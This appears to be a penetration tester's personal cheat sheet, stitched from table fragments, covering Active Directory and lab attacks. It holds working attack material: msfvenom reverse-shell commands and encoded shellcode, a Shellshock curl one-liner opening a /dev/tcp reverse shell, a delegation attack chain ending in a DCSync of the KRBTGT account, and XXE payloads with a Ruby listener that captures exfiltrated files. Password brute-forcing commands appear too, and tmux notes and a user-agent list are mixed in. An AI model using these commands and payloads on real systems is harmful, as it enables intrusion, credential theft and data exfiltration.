| Find all machines on the current domain where the current user has local admin access | |
| Find-LocalAdminAccess -verbose | |
| Find Local Admins on all machines of the domain | |
| Invoke-EnumerateLocalAdmin - Verbose | |
| List Sessions on a particular Computer | |
| Get-NetSession -ComputerName dc01.victim.local | |
| Find Computers where a domain admin is logged in and current user has access | |
| Invoke-UserHunter -CheckAccess | |
| Above gets a list of machines from DC and list sessions and logged on users from each machine | |
| Get ACLs associated with the specified object | |
| Get-ObjectACL -SamAccountName user123 -ResolveGUIDs | |
| Get ACLs associated with the specified prefix to be used for search | |
| Get-objectACL -ADSprefix 'CN=Administrator,CN=Users' -Verbose | |
| Enumerate ACLs using Active Directory module but without resolving GUIDs | |
| (Get-ACL 'AD:\CN:=labuser,CN=Users,DC=dc01,DC=dc02,DC=local').Access | |
| Sessions on Domain Controller | |
| Get-NetSession -ComputerName dc01.victim.local |
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| msfvenom -p windows/shell/reverse_tcp LHOST <IP> LPORT <PORT> -f c -a x86 --platform windows -b "\x00 ** ALSO ADD OTHER BAD CHARACTERS HERE" -e x86/shikata_ga_nai | |
| msfvenom -p windows/shell/reverse_tcp LHOST=192.168.26.31 LPORT=443 -f c -a x86 --platform windows -b "\x00\x09\x0a\x0d" -e x86/shikata_ga_nai <---EXAMPLE OF WORKING SHELL FROM LAB | |
| msfvenom -p windows/shell/reverse_tcp LHOST=192.168.26.31 LPORT=443 -f c -a x86 --platform windows -b "\x00\x01\x04\x8e\xc3" -e x86/shikata_ga_nai | |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.26.31 LPORT=443 -f c -a x86 --platform windows -b "\x00\x01\x04\x8e\xc3" -e x86/shikata_ga_nai | |
| The following does give some kind of connection | |
| shell = "\xbe\xbd\x10\xeb\xe2\xd9\xc7\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x4b\x31\x70\x15\x83\xe8\xfc\x03\x70\x11\xe2\x48\xec\x03\x60\xb2\x0d\xd4\x05\x3b\xe8\xe5\x05\x5f\x78\x55\xb6\x14\x2c\x5a\x3d\x78\xc5\xe9\x33\x54\xea\x5a\xf9\x82\xc5\x5b\x52\xf6\x44\xd8\xa9\x2a\xa7\xe1\x61\x3f\xa6\x26\x9f\xcd\xfa\xff\xeb\x63\xeb\x74\xa1\xbf\x80\xc7\x27\xc7\x75\x9f\x46\xe6\x2b\xab\x10\x28\xcd\x78\x29\x61\xd5\x9d\x14\x38\x6e\x55\xe2\xbb\xa6\xa7\x0b\x17\x87\x07\xfe\x66\xcf\xa0\xe1\x1d\x39\xd3\x9c\x25\xfe\xa9\x7a\xa0\xe5\x0a\x08\x12\xc2\xab\xdd\xc4\x81\xa0\xaa\x83\xce\xa4\x2d\x40\x65\xd0\xa6\x67\xaa\x50\xfc\x43\x6e\x38\xa6\xea\x37\xe4\x09\x13\x27\x47\xf5\xb1\x23\x6a\xe2\xc8\x69\xe3\xc7\xe0\x91\xf3\x4f\x73\xe1\xc1\xd0\x2f\x6d\x6a\x98\xe9\x6a\x8d\xb3\x4d\xe4\x70\x3c\xad\x2c\xb7\x68\xfd\x46\x1e\x11\x96\x96\x9f\xc4\x38\xc7\x0f\xb7\xf8\xb7\xef\x67\x90\xdd\xff\x58\x80\xdd\xd5\xf0\x2a\x27\xbe\x3e\x02\x3d\x21\xd7\x50\x42\x5c\x9c\xdd\xa4\x34\xf2\x8b\x7f\xa1\x6b\x96\xf4\x50\x73\x0d\x71\x52\xff\xa7\x85\x1d\x08\xc2\x95\x4a\x37\x2c\x66\x8b\x22\x2c\x0c\x8f\xe4\x7b\xb8\x8d\xd1\x4b\x67\x6d\x34\xc8\x60\x91\xc9\x27\x1b\xa4\x5f\xf7\x74\xc9\x8f\xf7\x84\x9f\xc5\xf7\xec\x47\xbe\xa4\x09\x88\x6b\xd9\x81\x1d\x94\x8b\x76\xb5\xfc\x31\xa0\xf1\xa2\xca\x87\x81\xa5\x34\x56\x45\x54\xf7\x8f\x8f\x22\x1e\x0c\xb4\x3d\x55\x31\x9d\xd7\x95\x65\xdd\xfd" | |
| "\xb8\xb4\x48\xce\x84\xda\xda\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x4b\x31\x42\x15\x03\x42\x15\x83\xea\xfc\xe2\x41\xb4\x26\x06\xa9\x45\xb7\x67\x20\xa0\x86\xa7\x56\xa0\xb9\x17\x1d\xe4\x35\xd3\x73\x1d\xcd\x91\x5b\x12\x66\x1f\xbd\x1d\x77\x0c\xfd\x3c\xfb\x4f\xd1\x9e\xc2\x9f\x24\xde\x03\xfd\xc4\xb2\xdc\x89\x7a\x23\x68\xc7\x46\xc8\x22\xc9\xce\x2d\xf2\xe8\xff\xe3\x88\xb2\xdf\x02\x5c\xcf\x56\x1d\x81\xea\x21\x96\x71\x80\xb0\x7e\x48\x69\x1e\xbf\x64\x98\x5f\x87\x43\x43\x2a\xf1\xb7\xfe\x2c\xc6\xca\x24\xb9\xdd\x6d\xae\x19\x3a\x8f\x63\xff\xc9\x83\xc8\x74\x95\x87\xcf\x59\xad\xbc\x44\x5c\x62\x35\x1e\x7a\xa6\x1d\xc4\xe3\xff\xfb\xab\x1c\x1f\xa4\x14\xb8\x6b\x49\x40\xb1\x31\x06\xa5\xfb\xc9\xd6\xa1\x8c\xba\xe4\x6e\x26\x55\x45\xe6\xe0\xa2\xaa\xdd\x54\x3c\x55\xde\xa4\x14\x92\x8a\xf4\x0e\x33\xb3\x9f\xce\xbc\x66\x0f\x9f\x12\xd9\xef\x4f\xd3\x89\x87\x85\xdc\xf6\xb7\xa5\x36\x9f\x5d\x5f\xd1\x60\x09\x45\x3e\x09\x4b\x7a\x41\x72\xc2\x9c\x2b\x94\x82\x37\xc4\x0d\x8f\xcc\x75\xd1\x1a\xa9\xb6\x59\xae\x4d\x78\xaa\xdb\x5d\x6d\x95\x23\x9e\x6e\x80\x23\xf4\x6a\x02\x74\x60\x71\x73\xb2\x2f\x8a\x56\xc1\x28\x74\x27\x2c\x43\x43\xbd\xee\x3c\xac\x51\xee\xbc\xfa\x3b\xee\xd4\x5a\x18\xbd\xc1\xa4\xb5\xd2\x59\x31\x36\x82\x0e\x92\x5e\x28\x68\xd4\xc0\xd3\x5f\x66\x06\x2b\x1e\xaa\xf6\xe8\xf7\xea\x8c\x07\xc4\x48\x9e\x62\x69\xf8\x35\x8c\x3d\xfa\x1f" | |
| meterpreter | |
| =================== | |
| "\xb8\x20\xa5\xfd\x1e\xda\xde\xd9\x74\x24\xf4\x5a\x33\xc9\xb1\x4b\x83\xea\xfc\x31\x42\x11\x03\x42\x11\xe2\xd5\x59\x15\x9c\x15\xa2\xe6\xc1\x9c\x47\xd7\xc1\xfa\x0c\x48\xf2\x89\x41\x65\x79\xdf\x71\xfe\x0f\xf7\x76\xb7\xba\x21\xb8\x48\x96\x11\xdb\xca\xe5\x45\x3b\xf2\x25\x98\x3a\x33\x5b\x50\x6e\xec\x17\xc6\x9f\x99\x62\xda\x14\xd1\x63\x5a\xc8\xa2\x82\x4b\x5f\xb8\xdc\x4b\x61\x6d\x55\xc2\x79\x72\x50\x9d\xf2\x40\x2e\x1c\xd3\x98\xcf\xb2\x1a\x15\x22\xcb\x5b\x92\xdd\xbe\x95\xe0\x60\xb8\x61\x9a\xbe\x4d\x72\x3c\x34\xf5\x5e\xbc\x99\x63\x14\xb2\x56\xe0\x72\xd7\x69\x25\x09\xe3\xe2\xc8\xde\x65\xb0\xee\xfa\x2e\x62\x8f\x5b\x8b\xc5\xb0\xbc\x74\xb9\x14\xb6\x99\xae\x25\x95\xf5\x03\x07\x26\x06\x0c\x10\x55\x34\x93\x8a\xf1\x74\x5c\x14\x05\x7a\x77\xe0\x99\x85\x78\x10\xb3\x41\x2c\x40\xab\x60\x4d\x0b\x2b\x8c\x98\x9b\x7b\x22\x73\x5b\x2c\x82\x23\x33\x26\x0d\x1b\x23\x49\xc7\x34\xc9\xb3\x80\xfa\xa5\xa6\x4f\x93\xb7\xd6\x6e\xd8\x3e\x30\x1a\x0e\x16\xea\xb3\xb7\x33\x60\x25\x37\xee\x0c\x65\xb3\x1a\xf0\x28\x34\x6f\xe2\x5d\x7b\x8f\xfa\x9d\xee\x8f\x90\x99\xb8\xd8\x0c\xa0\x9d\x2e\x93\x5b\xc8\x2d\xd4\xa4\x8d\xd8\xae\x93\x1b\x5a\xd9\xdb\xcb\x5a\x19\x8a\x81\x5a\x71\x6a\xf2\x09\x64\x75\x2f\x3e\x35\xe0\xd0\x16\xe9\xa3\xb8\x94\xd4\x84\x66\x67\x33\x97\x61\x97\xc2\x5b\x90\x54\x13\x9a\xe6\xb3\xa7\x99\xf9\xf6\x8a\x88\x93\xf8\x99\xcb\xb1" |
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| curl -x http://192.168.174.135:3128 -A "() { :; };/bin/sh -i >& /dev/tcp/192.168.174.129/443 0>&1" http://192.168.174.135/cgi-bin/status | |
| **192.168.174.135 is the remote address | |
| 192.168.174.129 is the local address | |
| 192.168.174.135:3128 is the remote address with the proxy port | |
| curl -x http://192.168.30.53/7b9713b4d6f4b5edc0875c24b9653cea:3128 -A "() { :; };/bin/sh -i >& /dev/tcp/192.168.30.31/443 0>&1" http://192.168.30.53/cgi-bin/status |
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| python -c 'import pty;pty.spawn("/bin/bash")' | |
| echo os.system('/bin/bash') | |
| /bin/sh -i | |
| perl -e 'exec "/bin/bash";' |
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| Set Rubeus Monitor Mode | |
| Run Spool Sample thinga ma jiggy do get dem dc's to do stuff to things | |
| Extract the mf tickets automagically | |
| 1. Compromise Server Configured with unconstrained delegation | |
| 2. Begin Monitoring for delegated TGT's with Rubeus Monitor /interval:5 | |
| 3. Coerce domain controller to authenticate to the unconstrained server using spoolsample | |
| 1. execute-assembly /opt/exe/Rubeus.exe monitor /interval:5 /filteruser:DC_parent | |
| 2. execute-assembly /opt/exe/SpoolSample.exe DC_parent DC_child | |
| 3. Wait for Rubeus to give us ticket | |
| 4. Make sacrificial login token e.g., make_token domain.local\DC_parent$ test_user Password123! | |
| 5. Use kerberos ticket - kerberos_ticket_use /opt/tickets/ticket.kirbi | |
| 6. DCSYNC stuff mimikatz @lsadump::dcsync /user:parent.local\KRBTGT |
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| tar example | |
| tar -xvf unix-privesc-check-master.zip |
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| Most used | |
| CTRL + A then \ will make a vertical pane | |
| CTRL + A then - will make a horizontal pane | |
| Prefix + q - Show Numbers | |
| Prefix + x - Kill Pane | |
| Prefix + z - Toggle Zoom | |
| ALT up - Switch Pane up | |
| ALT down - Switch Pane down | |
| ALT left - Switch Pane left | |
| ALT right - Switch Pane right | |
| Prefix + c - Create window | |
| Prefix + w - List windows | |
| Prefix + n - Next Window | |
| Prefix + p - Previous Window | |
| Prefix + f - Find Window | |
| Prefix + , - Rename Window | |
| Prefix + & - Kill Window | |
| Prefix + / - Regex search (strings work too) | |
| Prefix + Ctrl f - Simple File Search | |
| Prefix + Ctrl g - Jump over git status | |
| Prefix + alt h - Jump over SHA-1/SHA-256 hashes | |
| Prefix + ctrl u - url search | |
| Prefix + ctrl d - number search | |
| prefix + alt i - ip address search | |
| n - Jumps to next match | |
| N - Jumps to previous match | |
| Enter - Copies match | |
| o - Open highlighted selection | |
| Ctrl o - Open highlighted selection in Editor | |
| Shift s - search the highlighted selection directly insdie google | |
| Prefix Ctrl s - Save | |
| Prefix Ctrl r - Restore | |
| tmux source-file ~/.tmux.conf Reload tmux config | |
| ^ - Back to indentation | |
| (space) - Start selection | |
| Esc - Clear Selection | |
| Copy - Selection Enter | |
| Prefix + ? - List Shortcuts | |
| Prefix + t - Clock | |
| Prefix + d - Detach | |
| Prefix + : - Prompt | |
| Prompt: setw synchronize-panes on Synchronize Panes | |
| Prompt: setw synchronize-panes off Turn Off Synchronize Panes | |
| Prefix + : select-pane -P 'fg=colourx' Change font color of current pane | |
| Prefix + x - Kill pane |
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| # --------------------- | |
| # Configuration | |
| # --------------------- | |
| # -- general ------------------------------------------------------------------- | |
| set -g default-terminal "screen-256color" # colors! | |
| setw -g xterm-keys on | |
| set -s escape-time 10 # faster command sequences | |
| set -sg repeat-time 600 # increase repeat timeout | |
| set -s focus-events on | |
| set -g prefix2 C-a # GNU-Screen compatible prefix | |
| bind C-a send-prefix -2 | |
| set -q -g status-utf8 on # expect UTF-8 (tmux < 2.2) | |
| setw -q -g utf8 on | |
| set -g history-limit 5000 # boost history | |
| # -- urlview ------------------------------------------------------------------- | |
| bind U run "cut -c3- ~/.tmux.conf | sh -s _urlview #{pane_id}" | |
| # remap prefix from 'C-b' to 'C-a'----------------------------------------------- | |
| #unbind C-b | |
| #set-option -g prefix C-a | |
| #bind-key C-a send-prefix | |
| # split panes using | and - | |
| bind \ split-window -h | |
| bind - split-window -v | |
| unbind '"' | |
| unbind % | |
| # 0 is too far from ` ;) | |
| set -g base-index 1 | |
| # reload config file (change file location to your the tmux.conf you want to use) | |
| bind r source-file ~/.tmux.conf | |
| # switch panes using Alt-arrow without prefix | |
| bind -n M-Left select-pane -L | |
| bind -n M-Right select-pane -R | |
| bind -n M-Up select-pane -U | |
| bind -n M-Down select-pane -D | |
| # Increase scrollback history limit | |
| set -g history-limit 1500 | |
| # Enable mouse mode (tmux 2.1 and above) | |
| set -g mouse on | |
| bind -n WheelUpPane if-shell -F -t = "#{mouse_any_flag}" "send-keys -M" "if -Ft= '#{pane_in_mode}' 'send-keys -M' 'select-pane -t=; copy-mode -e; send-keys -M'" | |
| bind -n WheelDownPane select-pane -t= \; send-keys -M | |
| bind -n C-WheelUpPane select-pane -t= \; copy-mode -e \; send-keys -M | |
| bind -T copy-mode-vi C-WheelUpPane send-keys -X halfpage-up | |
| bind -T copy-mode-vi C-WheelDownPane send-keys -X halfpage-down | |
| bind -T copy-mode-emacs C-WheelUpPane send-keys -X halfpage-up | |
| bind -T copy-mode-emacs C-WheelDownPane send-keys -X halfpage-down | |
| # To copy, left click and drag to highlight text in yellow, | |
| # once you release left click yellow text will disappear and will automatically be available in clibboard | |
| # # Use vim keybindings in copy mode | |
| setw -g mode-keys vi | |
| # Update default binding of `Enter` to also use copy-pipe | |
| unbind -T copy-mode-vi Enter | |
| bind-key -T copy-mode-vi Enter send-keys -X copy-pipe-and-cancel "xclip -selection c" | |
| bind-key -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel "xclip -in -selection clipboard" | |
| # don't rename windows automatically | |
| set-option -g allow-rename off | |
| bind Enter copy-mode # enter copy mode | |
| run -b 'tmux bind -t vi-copy v begin-selection 2> /dev/null || true' | |
| run -b 'tmux bind -T copy-mode-vi v send -X begin-selection 2> /dev/null || true' | |
| run -b 'tmux bind -t vi-copy C-v rectangle-toggle 2> /dev/null || true' | |
| run -b 'tmux bind -T copy-mode-vi C-v send -X rectangle-toggle 2> /dev/null || true' | |
| run -b 'tmux bind -t vi-copy y copy-selection 2> /dev/null || true' | |
| run -b 'tmux bind -T copy-mode-vi y send -X copy-selection-and-cancel 2> /dev/null || true' | |
| run -b 'tmux bind -t vi-copy Escape cancel 2> /dev/null || true' | |
| run -b 'tmux bind -T copy-mode-vi Escape send -X cancel 2> /dev/null || true' | |
| run -b 'tmux bind -t vi-copy H start-of-line 2> /dev/null || true' | |
| run -b 'tmux bind -T copy-mode-vi H send -X start-of-line 2> /dev/null || true' | |
| run -b 'tmux bind -t vi-copy L end-of-line 2> /dev/null || true' | |
| run -b 'tmux bind -T copy-mode-vi L send -X end-of-line 2> /dev/null || true' | |
| #Open Panes | |
| #bind-key M-h new-window -n hax \; \ | |
| #split-window -v -p 50 -t 1 hax \; \ | |
| #send-keys -t hax 'tmux select-pane -P 'fg=Blue'' 'Enter' \; \ | |
| #split-window -h -p 50 -t 2 hax \; \ | |
| #send-keys -t hax 'tmux select-pane -P 'fg=Purple'' 'Enter' \; \ | |
| # THEME | |
| set -g status-bg black | |
| set -g status-fg white | |
| set -g window-status-current-bg white | |
| set -g window-status-current-fg black | |
| set -g window-status-current-attr bold | |
| set -g status-interval 60 | |
| set -g status-left-length 30 | |
| set -g status-left '#[fg=green](#S) #(whoami)' | |
| set -g status-right '#[fg=yellow]#(cut -d " " -f 1-3 /proc/loadavg)#[default] #[fg=white]%H:%M#[default]' | |
| # List of plugins | |
| set -g @plugin 'tmux-plugins/tpm' | |
| set -g @plugin 'tmux-plugins/tmux-sensible' | |
| set -g @plugin 'tmux-plugins/tmux-resurrect' | |
| set -g @plugin 'nhdaly/tmux-better-mouse-mode' | |
| set -g @plugin 'tmux-plugins/tmux-yank' | |
| set -g @plugin 'tmux-plugins/tmux-copycat' | |
| set -g @plugin 'tmux-plugins/tmux-open' | |
| # Other examples: | |
| # set -g @plugin 'github_username/plugin_name' | |
| # set -g @plugin 'git@github.com/user/plugin' | |
| # set -g @plugin 'git@bitbucket.com/user/plugin' | |
| # Initialize TMUX plugin manager (keep this line at the very bottom of tmux.conf) | |
| run -b '~/.tmux/plugins/tpm/tpm' |
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| <!DOCTYPE XXE_OOB [ | |
| <!ENTITY %S EvilDTD SYSTEM "http://10.100.13.200/evil.dtd" > | |
| %EvilDTD; | |
| %LoadOOBEnt; | |
| %OOB; | |
| ]> | |
| ------------------------------------ | |
| <?xml version='1.0'?> | |
| <!DOCTYPE xxe [ | |
| <!ENTITY % EvilDTD SYSTEM 'http://10.100.13.201/evil.dtd'> | |
| %EvilDTD; | |
| %LoadOOBEnt; | |
| %OOB; | |
| ]> | |
| <login> | |
| <username>XXEME</username> | |
| <password>password</password> | |
| </login>" | |
| ------------------------ | |
| <!ENTITY % resource SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/xxe/6/.letmepass.php"> | |
| <!ENTITY % LoadOOBEnt "<!ENTITY % OOB SYSTEM'http://10.100.13.200:443/?p=%resource;'>"> | |
| ------------------------- | |
| ***raw xml for lab 6 | |
| <?xml version='1.0'?> | |
| <!DOCTYPE xxe [ | |
| <!ENTITY % EvilDTD SYSTEM 'http://10.100.13.201/evil.dtd'> | |
| %EvilDTD; | |
| %LoadOOBEnt; | |
| %OOB; | |
| ]> | |
| <login> | |
| <username>XXEME</username> | |
| <password>password</password> | |
| </login> | |
| -------------------------- | |
| ============================================================================= | |
| ============================================================================= | |
| ============================================================================= | |
| ============================================================================= | |
| ============================================================================= | |
| ============================================================================= | |
| ============================================================================= | |
| POST /login.php HTTP/1.1 | |
| Host: 6.xxe.labs | |
| User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4 | |
| Accept: application/json, text/javascript, */*; q=0.01 | |
| Accept-Language: en-US,en;q=0.5 | |
| Accept-Encoding: gzip, deflate | |
| Content-Type: text/xml; charset=UTF-8 | |
| AuthXXE: login | |
| X-Requested-With: XMLHttpRequest | |
| Referer: http://6.xxe.labs/ | |
| Content-Length: 213 | |
| Connection: close | |
| <?xml version='1.0'?> | |
| <!DOCTYPE xxe [ | |
| <!ENTITY % EvilDTD SYSTEM 'http://10.100.13.201/evil.dtd'> | |
| %EvilDTD; | |
| %LoadOOBEnt; | |
| %OOB; | |
| ]> | |
| <login> | |
| <username>XXEME</username> | |
| <password>password</password> | |
| </login>" | |
| ------------------------- | |
| **** evil dtd located in /var/www/html | |
| <!ENTITY % resource SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/6/.letmepass.php"> | |
| <!ENTITY % LoadOOBEnt "<!ENTITY % OOB SYSTEM 'http://10.100.13.201:443/?p=%resource;'>"> | |
| -------------------------- | |
| #!/usr/bin/env ruby | |
| require 'sinatra' | |
| set :port, ARGV[0] || 443 #set listening port here | |
| set :bind, '10.100.13.201' #so are aren't just listening locally | |
| set :public_folder, '/var/www/html' | |
| get "/" do | |
| return "OHAI" if params[:p].nil? | |
| f = File.open("./files/#{request.ip}#{Time.now.to_i}","w") | |
| f.write(params[:p]) | |
| f.close | |
| "" | |
| end | |
| get "/xml" do | |
| return "" if params[:f].nil? | |
| <<END | |
| <!ENTITY % payl SYSTEM "file://#{params[:f]}"> | |
| <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://#{request.host}:#{request.port}/?p=%payl;'>"> | |
| END | |
| end |
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| http://dl.packetstormsecurity.net | |
| portcullis labs |
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| unicornscan -Ir 75 -p 21,22,53,80,137,139,389,443,445,3389,8080 192.168.0.16 |
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| Basic Command Line | |
| Basic, recursive file listing | |
| dir /s C:\ > listing.txt | |
| List files sorted by subdirectory with most recent listed on top | |
| dir /S /Q /O:-D /T:A C:\ > listing.txt | |
| Powershell | |
| With admin privileges, list remote users accessing the box | |
| Get-NetSessions | |
| Get a CSV file with the paths of all files, their owners, creation/access times and size | |
| powershell.exe -command “get-childitem .\ -rec -ErrorAction SilentlyContinue | where {!$_.PSIsContainer} | select-object FullName, @{Name=’Owner’;Expression={(Get-Acl $_.FullName).Owner}}, LastAccessTime, LastWriteTime, Length | export-csv -notypeinformation -path files.csv” | |
| Pare down the size of the results to certain file types | |
| powershell.exe -command “get-childitem .\ -rec -ErrorAction SilentlyContinue -include @(‘*.doc*’,’*.xls*’,’*.pdf’)|where{!$_.PSIsContainer}|select-object FullName,@{Name=’Owner’;Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,Length|export-csv -notypeinformation -path files.csv” |
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| Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) | |
| Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) | |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 | |
| Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 | |
| Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) | |
| Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko | |
| Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0 | |
| Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1 | |
| Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 | |
| Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) | |
| Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 | |
| Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) | |
| Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) | |
| Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322) | |
| Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) | |
| Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36 | |
| Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko | |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 | |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 | |
| Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) | |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393 | |
| Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 | |
| Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 | |
| Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) | |
| Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy) | |
| Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 | |
| Mozilla/5.0 (Windows NT 5.1; rv:36.0) Gecko/20100101 Firefox/36.0 | |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063 | |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 | |
| Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko | |
| Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) | |
| Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0 | |
| Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) | |
| Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) | |
| Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322) | |
| Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2) | |
| Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko | |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 | |
| Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 | |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 | |
| Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 | |
| Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 | |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 | |
| Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 | |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 | |
| Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) | |
| Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) | |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299 | |
| Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 | |
| Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) |
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| Get a list of users in the current domain | |
| Get-NetUser (Powerview) | |
| Get-NetUser -Username student (Powerview) | |
| Get-ADUser -Filter * -Properties * (Active Directory) | |
| Get-ADUser -Identity student -properties * (Active Directory) | |
| Get list of all properties for users in the current Domain | |
| Get-UserProperty (Powerview) | |
| Get-UserProperty -Properties pwdlastset (Powerview) | |
| Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -Membertype *Property | select Name (Active Directory) | |
| Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}} (Active Directory) | |
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| Add virtualbox guest additions as Secondary IDE controller under "settings > storage" | |
| boot up kali linux | |
| double click virtual box guest cd icon | |
| copy VBoxLinuxAdditions.run to Desktop | |
| chmod 775 the VBoxLinuxAdditions.run file | |
| run the VBoxLinuxAdditions.run file | |
| reboot Kali | |
| now you are full screen |
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| wafw00f http://192.168.91.131:8080 | |
| wafw00f http://192.168.91.131:8080 |
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| Download a file and output to different directory - always use http:// or https:// | |
| wget http://192.168.1.107/shell1.py -O /tmp/shell1.py | |
| change user agent | |
| curl -A "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" |
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| wpscan --url https://192.168.26.141:12380/blogblog <--this will give you basic information about wordpress | |
| wpscan --url https://192.168.26.141:12380/blogblog --enumerate vp <---this will give you information on vulnerable plugins | |
| wpscan --url https://192.168.26.141:12380/blogblog --enumerate at <---enumerate all things | |
| wpscan -u http://192.168.0.14/ –wordlist /root/Dropbox/Vulnhub/MrRobot/fsocity.dic –username elliot | |
| wpscan -u http://10.11.1.234/ --threads 20 --wordlist /usr/share/wordlists/rockyou.txt --username admin <----this will bruteforce passwords :) | |
| nmap -sV --script http-wordpress-enum 10.11.1.234 if ping probes are blocked, use -Pn rather that -sV | |
| nmap -Pn --script http-wordpress-enum --script-args check-latest=true,search-limit=10 10.11.1.234 | |
| nmap -sV 10.11.1.234 --script http-wordpress-enum --script-args limit=25 |
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| Wfuzz - Hide 404 codes | |
| wfuzz --hc 404 -w /usr/share/wordlists/rockyou.txt 192.168.174.130/FUZZ | |
| Go Buster Web Content Discovery Feel free to change the wordlist based on the services. | |
| gobuster -u http://<ip or URL>/ -w /usr/share/seclists/Discovery/Web_Content/common.txt -s '200,204,301,302,307,403,500' -e | |
| Dirb, search recursively | |
| dirb https://192.168.26.141:12380 -r | |
| Go Buster subdomain brute forcing | |
| gobuster -m dns -w /usr/share/wordlists/subdomain.txt -u google.com -i |
